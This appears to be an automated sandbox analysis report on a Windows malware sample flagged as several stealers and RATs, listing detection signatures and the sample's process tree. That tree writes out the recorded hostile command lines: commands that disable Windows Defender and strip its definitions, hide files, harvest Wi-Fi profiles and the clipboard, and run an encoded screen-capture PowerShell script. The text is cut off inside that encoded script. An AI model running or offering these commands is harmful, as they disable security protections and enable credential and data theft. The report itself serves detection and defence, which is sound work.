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Windows
Analysis Report
file.exe
Overview
General Information
Detection
NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Yara detected Amadeys stealer DLL
Yara detected Blank Grabber
Yara detected LummaC Stealer
Yara detected PureLog Stealer
Yara detected Telegram RAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Encrypted powershell cmdline option found
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies Windows Defender protection settings
Modifies existing user documents (likely ransomware behavior)
Modifies the hosts file
PE file contains section with special chars
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Removes signatures from Windows Defender
Sample uses string decryption to hide its real strings
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Rar Usage with Password and Compression Level
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Suspicious Startup Folder Persistence
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Uses attrib.exe to hide files
Uses cmd line tools excessively to alter registry or file data
Uses netsh to modify the Windows network and firewall settings
Writes or reads registry keys via WMI
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Drops PE files
Enables debug privileges
Enables security privileges
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
File is packed with WinRar
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Screensaver Binary File Creation
Stores files to the Windows start menu directory
Too many similar processes found
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara detected Keylogger Generic
Yara detected NetSupport remote tool
Classification
- System is w10x64
- file.exe (PID: 5784 cmdline:
"C:\Users\ user\Deskt op\file.ex e" MD5: CD7686B11754D77B8722880A1A3A9A43) - skotes.exe (PID: 1436 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\abc3bc 1985\skote s.exe" MD5: CD7686B11754D77B8722880A1A3A9A43) - D1UL0FG.exe (PID: 5160 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101785 3001\D1UL0 FG.exe" MD5: 63EFECD388A74A9CDEB79CD7C8020E7E) - D1UL0FG.exe (PID: 6716 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101785 3001\D1UL0 FG.exe" MD5: 63EFECD388A74A9CDEB79CD7C8020E7E) - cmd.exe (PID: 1536 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Us ers\user\A ppData\Loc al\Temp\10 17853001\D 1UL0FG.exe '" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1896 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6396 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\User s\user\App Data\Local \Temp\1017 853001\D1U L0FG.exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 2164 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Set-MpP reference -DisableIn trusionPre ventionSys tem $true -DisableIO AVProtecti on $true - DisableRea ltimeMonit oring $tru e -Disable ScriptScan ning $true -EnableCo ntrolledFo lderAccess Disabled -EnableNet workProtec tion Audit Mode -Forc e -MAPSRep orting Dis abled -Sub mitSamples Consent Ne verSend && powershel l Set-MpPr eference - SubmitSamp lesConsent 2 & "%Pro gramFiles% \Windows D efender\Mp CmdRun.exe " -RemoveD efinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5636 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5820 cmdline:
powershell Set-MpPre ference -D isableIntr usionPreve ntionSyste m $true -D isableIOAV Protection $true -Di sableRealt imeMonitor ing $true -DisableSc riptScanni ng $true - EnableCont rolledFold erAccess D isabled -E nableNetwo rkProtecti on AuditMo de -Force -MAPSRepor ting Disab led -Submi tSamplesCo nsent Neve rSend MD5: 04029E121A0CFA5991749937DD22A1D9) - MpCmdRun.exe (PID: 6396 cmdline:
"C:\Progra m Files\Wi ndows Defe nder\MpCmd Run.exe" - RemoveDefi nitions -A ll MD5: B3676839B2EE96983F9ED735CD044159) - cmd.exe (PID: 1372 cmdline:
C:\Windows \system32\ cmd.exe /c "attrib + h +s "C:\U sers\user\ AppData\Lo cal\Temp\1 017853001\ D1UL0FG.ex e"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2716 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - attrib.exe (PID: 2128 cmdline:
attrib +h +s "C:\Use rs\user\Ap pData\Loca l\Temp\101 7853001\D1 UL0FG.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD) - cmd.exe (PID: 7152 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Pr ogramData\ Microsoft\ Windows\St art Menu\P rograms\St artUp\ . scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4308 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2704 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\Prog ramData\Mi crosoft\Wi ndows\Star t Menu\Pro grams\Star tUp\ .sc r' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7184 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7244 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7344 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7216 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7252 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7316 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7380 cmdline:
C:\Windows \system32\ cmd.exe /c "WMIC /No de:localho st /Namesp ace:\\root \SecurityC enter2 Pat h Antiviru sProduct G et display Name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7404 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 7452 cmdline:
WMIC /Node :localhost /Namespac e:\\root\S ecurityCen ter2 Path AntivirusP roduct Get displayNa me MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - cmd.exe (PID: 7556 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7580 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 8004 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7564 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Get-Cli pboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7572 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7964 cmdline:
powershell Get-Clipb oard MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7644 cmdline:
C:\Windows \system32\ cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7756 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tree.com (PID: 7940 cmdline:
tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0) - cmd.exe (PID: 7680 cmdline:
C:\Windows \system32\ cmd.exe /c "netsh wl an show pr ofile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7744 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - netsh.exe (PID: 8020 cmdline:
netsh wlan show prof ile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB) - cmd.exe (PID: 7700 cmdline:
C:\Windows \system32\ cmd.exe /c "systemin fo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7732 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - systeminfo.exe (PID: 7948 cmdline:
systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD) - cmd.exe (PID: 7724 cmdline:
C:\Windows \system32\ cmd.exe /c "REG QUER Y HKEY_LOC AL_MACHINE \SYSTEM\Cu rrentContr olSet\Serv ices\Tcpip \Parameter s /V DataB asePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7768 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 8092 cmdline:
REG QUERY HKEY_LOCAL _MACHINE\S YSTEM\Curr entControl Set\Servic es\Tcpip\P arameters /V DataBas ePath MD5: 227F63E1D9008B36BDBCC4B397780BE4) - cmd.exe (PID: 7256 cmdline:
C:\Windows \system32\ cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5828 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tree.com (PID: 7500 cmdline:
tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0) - cmd.exe (PID: 5604 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll.exe -No Profile -E xecutionPo licy Bypas s -Encoded Command JA BzAG8AdQBy AGMAZQAgAD 0AIABAACIA DQAKAHUAcw BpAG4AZwAg AFMAeQBzAH QAZQBtADsA DQAKAHUAcw BpAG4AZwAg AFMAeQBzAH QAZQBtAC4A QwBvAGwAbA BlAGMAdABp AG8AbgBzAC 4ARwBlAG4A ZQByAGkAYw A7AA0ACgB1 AHMAaQBuAG cAIABTAHkA cwB0AGUAbQ AuAEQAcgBh AHcAaQBuAG cAOwANAAoA dQBzAGkAbg BnACAAUwB5 AHMAdABlAG 0ALgBXAGkA bgBkAG8Adw BzAC4ARgBv AHIAbQBzAD sADQAKAA0A CgBwAHUAYg BsAGkAYwAg AGMAbABhAH MAcwAgAFMA YwByAGUAZQ BuAHMAaABv AHQADQAKAH sADQAKACAA IAAgACAAcA B1AGIAbABp AGMAIABzAH QAYQB0AGkA YwAgAEwAaQ BzAHQAPABC AGkAdABtAG EAcAA+ACAA QwBhAHAAdA B1AHIAZQBT AGMAcgBlAG UAbgBzACgA KQANAAoAIA AgACAAIAB7 AA0ACgAgAC AAIAAgACAA IAAgACAAdg BhAHIAIABy AGUAcwB1AG wAdABzACAA PQAgAG4AZQ B3ACAATABp AHMAdAA8AE IAaQB0AG0A YQBwAD4AKA ApADsADQAK ACAAIAAgAC AAIAAgACAA IAB2AGEAcg AgAGEAbABs AFMAYwByAG UAZQBuAHMA IAA9ACAAUw BjAHIAZQBl AG4ALgBBAG wAbABTAGMA cgBlAGUAbg BzADsADQAK AA0ACgAgAC AAIAAgACAA IAAgACAAZg BvAHIAZQBh AGMAaAAgAC gAUwBjAHIA ZQBlAG4AIA BzAGMAcgBl AGUAbgAgAG kAbgAgAGEA bABsAFMAYw ByAGUAZQBu AHMAKQANAA oAIAAgACAA IAAgACAAIA AgAHsADQAK ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgAHQAcgB5 AA0ACgAgAC AAIAAgACAA IAAgACAAIA AgACAAIAB7 AA0ACgAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAF IAZQBjAHQA YQBuAGcAbA BlACAAYgBv AHUAbgBkAH MAIAA9ACAA cwBjAHIAZQ BlAG4ALgBC AG8AdQBuAG QAcwA7AA0A CgAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAHUAcw BpAG4AZwAg ACgAQgBpAH QAbQBhAHAA IABiAGkAdA BtAGEAcAAg AD0AIABuAG UAdwAgAEIA aQB0AG0AYQ BwACgAYgBv AHUAbgBkAH MALgBXAGkA ZAB0AGgALA AgAGIAbwB1 AG4AZABzAC 4ASABlAGkA ZwBoAHQAKQ ApAA0ACgAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg AHsADQAKAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAB1AHMAaQ BuAGcAIAAo AEcAcgBhAH AAaABpAGMA cwAgAGcAcg BhAHAAaABp AGMAcwAgAD 0AIABHAHIA YQBwAGgAaQ BjAHMALgBG AHIAbwBtAE kAbQBhAGcA ZQAoAGIAaQ B0AG0AYQBw ACkAKQANAA oAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAHsADQ AKACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgAGcA cgBhAHAAaA BpAGMAcwAu AEMAbwBwAH kARgByAG8A bQBTAGMAcg BlAGUAbgAo AG4AZQB3AC AAUABvAGkA bgB0ACgAYg BvAHUAbgBk AHMALgBMAG UAZgB0ACwA IABiAG8AdQ BuAGQAcwAu AFQAbwBwAC kALAAgAFAA bwBpAG4AdA AuAEUAbQBw AHQAeQAsAC AAYgBvAHUA bgBkAHMALg BTAGkAegBl ACkAOwANAA oAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAH0ADQ AKAA0ACgAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAcgBlAHMA dQBsAHQAcw AuAEEAZABk ACgAKABCAG kAdABtAGEA cAApAGIAaQ B0AG0AYQBw AC4AQwBsAG 8AbgBlACgA KQApADsADQ AKACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAfQAN AAoAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAfQAN AAoAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAYwBh AHQAYwBoAC